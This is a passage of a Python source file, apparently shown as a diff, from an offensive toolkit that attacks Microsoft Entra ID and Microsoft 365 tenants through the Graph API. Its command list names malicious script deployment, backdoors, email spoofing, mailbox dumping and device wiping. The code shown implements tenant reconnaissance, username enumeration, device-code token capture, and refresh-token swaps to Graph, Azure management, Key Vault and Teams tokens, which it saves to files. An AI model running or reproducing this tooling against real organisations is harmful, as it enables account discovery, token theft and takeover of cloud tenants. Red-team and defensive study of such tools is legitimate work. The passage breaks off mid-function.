- graphpython.py --command add-exclusiongrouptopolicy --id --token token - graphpython.py --command reboot-device --id --token eyj0... - ''') -) - parser.add_argument("--command", help="Command to execute") - parser.add_argument("--list-commands", action="store_true", help="List available commands") - parser.add_argument("--token", help="Microsoft Graph access token or refresh token for FOCI abuse") - parser.add_argument("--estsauthcookie", help="'ESTSAuth' or 'ESTSAuthPersistent' cookie value") - parser.add_argument("--use-cae", action="store_true", help="Flag to use Continuous Access Evaluation (CAE) - add 'cp1' as client claim to get an access token valid for 24 hours") - parser.add_argument("--cert", help="X509Certificate path (.pfx)") - parser.add_argument("--domain", help="Target domain") - parser.add_argument("--tenant", help="Target tenant ID") - parser.add_argument("--username", help="Username or file containing username (invoke-userenumerationasoutsider)") - parser.add_argument("--secret", help="Enterprise application secretText (invoke-appsecrettoaccesstoken)") - parser.add_argument("--id", help="ID of target object") - parser.add_argument("--select", help="Fields to select from output") - parser.add_argument("--query", help="Raw API query (GET only)") - parser.add_argument("--search", help="Search string") - parser.add_argument("--entity", choices=['driveItem', 'message', 'chatMessage', 'site', 'event'],help="Search entity type: driveItem(OneDrive), message(Mail), chatMessage(Teams), site(SharePoint), event(Calenders)") - parser.add_argument("--device", choices=['mac', 'windows', 'androidmobile', 'iphone'], help="Device type for User-Agent forging") - parser.add_argument("--browser", choices=['android', 'IE', 'chrome', 'firefox', 'edge', 'safari'], help="Browser type for User-Agent forging") - parser.add_argument("--only-return-cookies", action="store_true", help="Only return cookies from the request (open-owamailboxinbrowser)") - parser.add_argument("--mail-folder", choices=['allitems', 'inbox', 'archive', 'drafts', 'sentitems', 'deleteditems', 'recoverableitemsdeletions'], help="Mail folder to dump (dump-owamailbox)") - parser.add_argument("--top", type=int, help="Number (int) of messages to retrieve (dump-owamailbox)") - parser.add_argument("--script", help="File containing the script content (deploy-maliciousscript and backdoor-script)") - parser.add_argument("--email", help="File containing OWA email message body content (spoof-owaemailmessage)") - args = parser.parse_args() - - if len(sys.argv) == 1: - parser.print_help() - sys.exit() - - available_commands = [ - "invoke-reconasoutsider","invoke-userenumerationasoutsider","get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", - "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", "invoke-refreshtovaulttoken", - "invoke-refreshtomsteamstoken", "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", - "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollment", - "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", "invoke-appsecrettoaccesstoken", - "new-signedjwt", "get-currentuser", "get-currentuseractivity", "get-orginfo", "get-domains", "get-user", "get-userproperties", - "get-userprivileges", "get-usertransitivegroupmembership", "get-group", "get-groupmember", "get-userapproleassignments", "get-serviceprincipalapproleassignments", - "get-conditionalaccesspolicy", "get-personalcontacts", "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", - "get-userchatmessages", "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", - "get-messages", "get-temporaryaccesspassword", "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", - "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", "list-conditionalnamedlocations", "list-sharepointroot", - "list-sharepointsites","list-sharepointurls", "list-externalconnections", "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", - "list-chats", "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", - "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "find-updatablegroups", "find-dynamicgroups","find-securitygroups", - "locate-objectid", "update-userpassword", "add-applicationpassword", "add-usertap", "add-groupmember", "create-application", - "create-newuser", "invite-guestuser", "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", - "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", - "get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", "get-devicecompliancepolicies", "update-deviceconfig", - "get-devicecompliancesummary", "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", - "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations","update-userproperties", "dump-windowsapps", "dump-iosapps", "dump-androidapps", - "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "get-scriptcontent", "find-privilegedapplications", "dump-macosapps", "deploy-maliciousweblink", - "get-roledefinitions", "get-roleassignments", "display-avpolicyrules", "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", - "display-firewallrulepolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", "get-appserviceprincipal", - "display-edrpolicyrules","add-exclusiongrouptopolicy", "deploy-maliciousscript", "reboot-device", "shutdown-device", "lock-device", "backdoor-script", - "add-applicationpermission", "new-signedjwt", "add-applicationcertificate", "get-application", "locate-permissionid", "get-serviceprincipal", "grant-appadminconsent" - ] - - - properties = [ - "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", - "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", - "country", "createdDateTime", "department", "displayName", "employeeId", - "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", - "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", - "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", - "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", - "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", - "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", - "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", - "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", - "schools", "showInAddressList", "skills", "state", "streetAddress", - "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" - ] - - roles = [ - {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, - {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, - {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, - {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, - {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, - {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, - {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, - {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, - {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, - {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, - {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, - {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, - {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, - {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, - {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, - {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, - {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, - {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, - {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, - {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, - {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, - {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, - {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, - {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, - {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, - {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, - {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, - {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} - ] - - if args.list_commands: - list_commands() - return - - if args.command and args.command.lower() in [ - "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", - "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", - "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", - "invoke-refreshtooutlooktoken","invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", - "invoke-refreshtointuneenrollmenttoken", "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", - "get-tokenscope", "decode-accesstoken", "get-manageddevices", "get-userdevices", "get-user", - "get-userproperties", "get-userprivileges", "get-usertransitivegroupmembership", "get-group", - "get-groupmember", "get-userapproleassignments", "get-conditionalaccesspolicy", "get-personalcontacts", - "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", "get-userchatmessages", - "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", - "get-messages", "get-temporaryaccesspassword", "get-password", "get-currentuser", - "get-currentuseractivities", "get-orginfo", "get-domains", "list-authmethods", "list-directoryroles", - "list-notebooks", "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", - "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", "list-sharepointurls","list-externalconnections", - "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", "deploy-maliciousweblink", - "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", - "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "display-firewallconfigpolicyrules", - "find-updatablegroups", "find-dynamicgroups","find-securitygroups", "locate-objectid", "update-userpassword", "add-applicationpassword", - "add-usertap", "add-groupmember", "create-application", "create-newuser", "invite-guestuser", "update-deviceconfig", - "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", "dump-androidapps", - "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", - "get-caps", "get-devicecategories", "display-devicecompliancepolicies", "get-devicecompliancesummary", "dump-macosapps", - "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", "dump-iosapps", - "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", "grant-appadminconsent", "dump-windowsapps", - "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "update-userproperties", "find-privilegedapplications", - "get-scriptcontent", "get-roledefinitions", "get-roleassignments", "display-avpolicyrules","get-appserviceprincipal", - "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallrulepolicyrules", "backdoor-script", - "display-edrpolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", - "add-exclusiongrouptopolicy","deploy-maliciousscript", "reboot-device", "add-applicationpermission", "new-signedjwt", - "add-applicationcertificate", "get-application", "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: - if not args.token: - print_red(f"[-] Error: --token is required for command") - return - - access_token = get_access_token(args.token) - - elif args.command and args.command.lower() not in available_commands: - print_red(f"[-] Error: Unknown command '{args.command}'. Use --list-commands to see available commands") - - - ############ - # Outsider # - ############ - - # invoke-reconasoutsider - elif args.command and args.command.lower() == "invoke-reconasoutsider": - if not args.domain: - print_red("[-] Error: --domain argument is required for Invoke-ReconAsOutsider command") - return - - print_yellow("\n[*] Invoke-ReconAsOutsider") - print("=" * 80) - domain = args.domain - - # get tenant id - tenant_id = "" - try: - response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") - if response.status_code == 200: - tenant_id = response.json().get('token_endpoint', '').split('/')[3] - except: - print_red("[-] Failed to retrieve tenant ID") - - if not tenant_id: - print_red(f"[-] Domain {domain} is not registered to Azure AD") - print("=" * 80) - return - - tenant_name = "" - tenant_brand = "" - tenant_region = "" - tenant_sso = "" - - # tenant info - try: - response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") - if response.status_code == 200: - data = response.json() - tenant_region = data.get('tenant_region_scope', "Unknown") - except: - print_red("[-] Failed to retrieve tenant info") - - - additional_domains = get_tenant_domains(domain) - additional_domains_count = len(additional_domains) - print(f"Domains: {additional_domains_count}") - domain_information = [] - - # show progress bar - custom_bar = '╢{bar:50}╟' - for domain in tqdm((additional_domains),bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): - if domain.lower().endswith('.onmicrosoft.com') and not tenant_name: - tenant_name = domain - - # desktop sso - if not tenant_sso: - try: - url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={'0' * 32}" - response = requests.get(url) - tenant_sso = response.status_code == 401 - except: - pass - - # DNS checks - exists = False - has_cloud_mx = False - has_cloud_spf = False - has_dmarc = False - has_cloud_dkim = False - has_cloud_mta_sts = False - - try: - dns.resolver.resolve(domain) - exists = True - except: - pass - - if exists: - try: - mx_records = dns.resolver.resolve(domain, 'MX') - has_cloud_mx = any('mail.protection.outlook.com' in str(mx.exchange) for mx in mx_records) - except: - pass - - try: - txt_records = dns.resolver.resolve(domain, 'TXT') - has_cloud_spf = any('v=spf1' in str(record) and 'include:spf.protection.outlook.com' in str(record) for record in txt_records) - except: - pass - - try: - dmarc_records = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT') - has_dmarc = any('v=DMARC1' in str(record) for record in dmarc_records) - except: - pass - - try: - selectors = ["selector1", "selector2"] - for selector in selectors: - dkim_records = dns.resolver.resolve(f'{selector}._domainkey.{domain}', 'CNAME') - has_cloud_dkim = any('onmicrosoft.com' in str(record) for record in dkim_records) - if has_cloud_dkim: - break - except: - pass - - try: - url = f"https://mta-sts.{domain}/.well-known/mta-sts.txt" - mta_sts_response = requests.get(url) - if mta_sts_response.status_code == 200: - mta_sts_content = mta_sts_response.text - mta_sts_lines = mta_sts_content.split("\n") - has_cloud_mta_sts = any("version: STSv1" in line for line in mta_sts_lines) and any("mx: *.mail.protection.outlook.com" in line for line in mta_sts_lines) - except: - pass - - # federation info - user_realm = {} - try: - username = f"nn@{domain}" - response = requests.get(f"https://login.microsoftonline.com/GetUserRealm.srf?login={username}") - if response.status_code == 200: - user_realm = response.json() - except: - print_red("[-] Failed to retrieve user realm information") # pass - - if not tenant_brand: - tenant_brand = user_realm.get("FederationBrandName", "") - - auth_url = user_realm.get("AuthURL") - if auth_url: - auth_url = auth_url.split('?')[0] - - domain_info = { - "Name": domain, - "DNS": exists, - "MX": has_cloud_mx, - "SPF": has_cloud_spf, - "DMARC": has_dmarc, - "DKIM": has_cloud_dkim, - "MTA-STS": has_cloud_mta_sts, - "Type": user_realm.get("NameSpaceType", "Unknown"), - "STS": auth_url - } - - domain_information.append(domain_info) - - print(f"Tenant brand: {tenant_brand}") - print(f"Tenant name: {tenant_name}") - print(f"Tenant id: {tenant_id}") - print(f"Tenant region: {tenant_region}") - - if tenant_sso is not None: - print(f"DesktopSSO enabled: {tenant_sso}") - - if tenant_name: - # check MDI instance - tenant = tenant_name.split('.')[0] if '.' in tenant_name else tenant_name - - mdi_domains = [ - f"{tenant}.atp.azure.com", - f"{tenant}-onmicrosoft-com.atp.azure.com" - ] - - tenant_mdi = None - for mdi_domain in mdi_domains: - try: - dns.resolver.resolve(mdi_domain) - tenant_mdi = mdi_domain - break - except dns.resolver.NXDOMAIN: - continue - except Exception as e: - print(f"An error occurred while resolving {mdi_domain}: {str(e)}") - - if tenant_mdi: - print(f"MDI instance: {tenant_mdi}") - else: - print("MDI instance: Not found") - - # check cloud sync - if tenant_name: - sync_service_account = f"ADToAADSyncServiceAccount@{tenant_name}" - exists = None - try: - url = "https://login.microsoftonline.com/common/GetCredentialType" - data = { - "username": sync_service_account, - "isOtherIdpSupported": True, - "checkPhones": False, - "isRemoteNGCSupported": True, - "isCookieBannerShown": False, - "isFidoSupported": True, - "originalRequest": "", - "country": "US", - "forceotclogin": False, - "isExternalFederationDisallowed": False, - "isRemoteConnectSupported": False, - "federationFlags": 0, - "isSignup": False, - "flowToken": "", - "isAccessPassSupported": True - } - response = requests.post(url, json=data) - if response.status_code == 200: - result = response.json() - exists = result.get('IfExistsResult', 0) == 0 - except: - pass - - uses_cloud_sync = exists - print(f"Uses cloud sync: {uses_cloud_sync}") - - print("\nName DNS MX SPF DMARC DKIM MTA-STS Type STS") - print("---- --- --- ---- ----- ---- ------- ---- ---") - for domain_info in domain_information: - print(f"{domain_info['Name']:<42} {str(domain_info['DNS']):<5} {str(domain_info['MX']):<5} {str(domain_info['SPF']):<6} {str(domain_info['DMARC']):<7} {str(domain_info['DKIM']):<6} {str(domain_info['MTA-STS']):<8} {domain_info['Type']:<11} {domain_info['STS'] or ''}") - - print("=" * 80) - - # invoke-userenumerationasoutsider - # - only uses Normal method from Killchain.ps1 - elif args.command and args.command.lower() == "invoke-userenumerationasoutsider": - if not args.username: - print_red("[-] Error: --username argument is required for Invoke-UserEnumerationAsOutsider command") - return - - print_yellow("\n[*] Invoke-UserEnumerationAsOutsider") - print("=" * 80) - usernames = [] - - if os.path.isfile(args.username): - with open(args.username, 'r') as file: - usernames = [line.strip() for line in file if line.strip()] - else: - usernames = [args.username] - - for username in usernames: - exists = None - try: - url = "https://login.microsoftonline.com/common/GetCredentialType" - data = { - "username": username, - "isOtherIdpSupported": True, - "checkPhones": False, - "isRemoteNGCSupported": True, - "isCookieBannerShown": False, - "isFidoSupported": True, - "originalRequest": "", - "country": "US", - "forceotclogin": False, - "isExternalFederationDisallowed": False, - "isRemoteConnectSupported": False, - "federationFlags": 0, - "isSignup": False, - "flowToken": "", - "isAccessPassSupported": True - } - response = requests.post(url, json=data) - if response.status_code == 200: - result = response.json() - exists = result.get('IfExistsResult', 0) == 0 - except: - pass - - if exists: - print_green(f"[+] {username:<16}")# : {exists}") - else: - print_red(f"[-] {username:<16}")# : {exists}") - print("=" * 80) - - - ################## - # Authentication # - ################## - - # get-graphtokens - if args.command and args.command.lower() == "get-graphtokens": - print_yellow("\n[*] Get-GraphTokens") - print("=" * 80) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - resource = "https://graph.microsoft.com" - user_agent = get_user_agent(args) - - body = { - "client_id": client_id, - "resource": resource - } - - headers = { - "User-Agent": user_agent - } - - device_code_response = requests.post("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0", data=body, headers=headers) - device_code_response_content = device_code_response.content.decode() - - device_code = None - message = None - try: - device_code_json_response = json.loads(device_code_response_content) - device_code = device_code_json_response["device_code"] - message = device_code_json_response["message"] - except Exception as ex: - print_red(f"[-] Failed to parse device code response: {ex}") - exit() - - print(f"{message}\n") - - time.sleep(3) - - start_time = datetime.now() - polling_duration = timedelta(minutes=15) - last_authorization_pending_time = datetime.min - - while datetime.now() - start_time < polling_duration: - token_body = { - "client_id": client_id, - "grant_type": "urn:ietf:params:oauth:grant-type:device_code", - "code": device_code - } - - token_response = requests.post("https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0", data=token_body) - token_response_content = token_response.content.decode() - - if token_response.status_code == 400: - if datetime.now() - last_authorization_pending_time >= timedelta(minutes=1): - print("[*] authorization_pending") - last_authorization_pending_time = datetime.now() - time.sleep(3) - elif not token_response.ok or "authorization_pending" in token_response_content: - # continue polling - time.sleep(3) - else: - token_json = json.loads(token_response_content) - print_green("\n[+] Token Obtained!\n") - - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "graph_tokens.txt" - with open(file_path, "a") as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - exit() - - print_red("[-] Polling expired. Token not obtained.") - print("=" * 80) - - # get-tenantid - elif args.command and args.command.lower() == "get-tenantid": - if not args.domain: - print_red("[-] Error: --domain argument is required for Get-TenantID command") - return - - print_yellow("\n[*] Get-TenantID") - print("=" * 80) - try: - response = requests.get(f"https://login.microsoftonline.com/{args.domain}/.well-known/openid-configuration") - response.raise_for_status() - response_content = response.content.decode() - - open_id_config = json.loads(response_content) - tenant_id = open_id_config["authorization_endpoint"].split('/')[3] - - print(tenant_id) - except requests.exceptions.RequestException as ex: - print_red(f"[-] Error retrieving OpenID configuration: {ex}") - print("=" * 80) - - - # get-tokenscope - elif args.command and args.command.lower() == "get-tokenscope": - print_yellow("\n[*] Get-TokenScope") - print("=" * 80) - try: - json_token = jwt.decode(access_token, options={"verify_signature": False}) - scope = json_token.get("scp") - - if scope: - scope_array = scope.split(' ') - - for s in scope_array: - print(s) - else: - print_red("[-] No scopes found in the access token") - except jwt.DecodeError: - print_red("[-] Invalid access token format") - print("=" * 80) - - # decode-accesstoken - elif args.command and args.command.lower() == "decode-accesstoken": - print_yellow("\n[*] Decode-AccessToken") - print("=" * 80) - try: - json_token = jwt.decode(access_token, options={"verify_signature": False}) - - for key, value in json_token.items(): - print(f"{key}: {value}") - - except jwt.DecodeError: - print_red("[-] Invalid access token format") - print("=" * 80) - - - # invoke-refreshtomsgraphtoken - elif args.command and args.command.lower() == "invoke-refreshtomsgraphtoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSGraphToken command") - return - - print_yellow("\n[*] Invoke-RefreshToMSGraphToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://graph.microsoft.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}" - - headers = { - "User-Agent": user_agent - } - - body = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - body["claims"] = claims - - response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) - - if response.status_code == 200: - print_green("[+] Token Obtained!\n") - - token_response = response.json() - for key, value in token_response.items(): - print(f"[*] {key}: {value}") - - file_path = "new_graph_tokens.txt" - with open(file_path, "a") as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_response.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - else: - print_red(f"[-] Failed to get Microsoft Graph token: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshttoazuremanagementtoken - elif args.command and args.command.lower() == "invoke-refreshtoazuremanagementtoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") - return - - print_yellow("\n[*] Invoke-RefreshToAzureManagementToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://management.azure.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}" - - headers = { - "User-Agent": user_agent - } - - body = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - body["claims"] = claims - - response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) - - if response.status_code == 200: - print_green("[+] Token Obtained!\n") - - token_response = response.json() - for key, value in token_response.items(): - print(f"[*] {key}: {value}") - - file_path = "az_tokens.txt" - with open(file_path, "a") as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_response.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - else: - print_red(f"[-] Failed to get Azure Management token: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtovaulttoken - elif args.command and args.command.lower() == "invoke-refreshtovaulttoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") - return - - print_yellow("\n[*] Invoke-RefreshToVaultToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - scope = "https://vault.azure.net/.default" - auth_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token" - - headers = { - "User-Agent": user_agent - } - - data = { - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "vault_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Azure Vault token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtomsteamstoken - elif args.command and args.command.lower() == "invoke-refreshtomsteamstoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSTeamsToken command") - return - - print_yellow("\n[*] Invoke-RefreshToMSTeamsToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" - refresh_token = access_token - resource = "https://api.spaces.skype.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "teams_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get MS Teams token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtoofficeappstoken - elif args.command and args.command.lower() == "invoke-refreshtoofficeappstoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeAppsToken command") - return - - 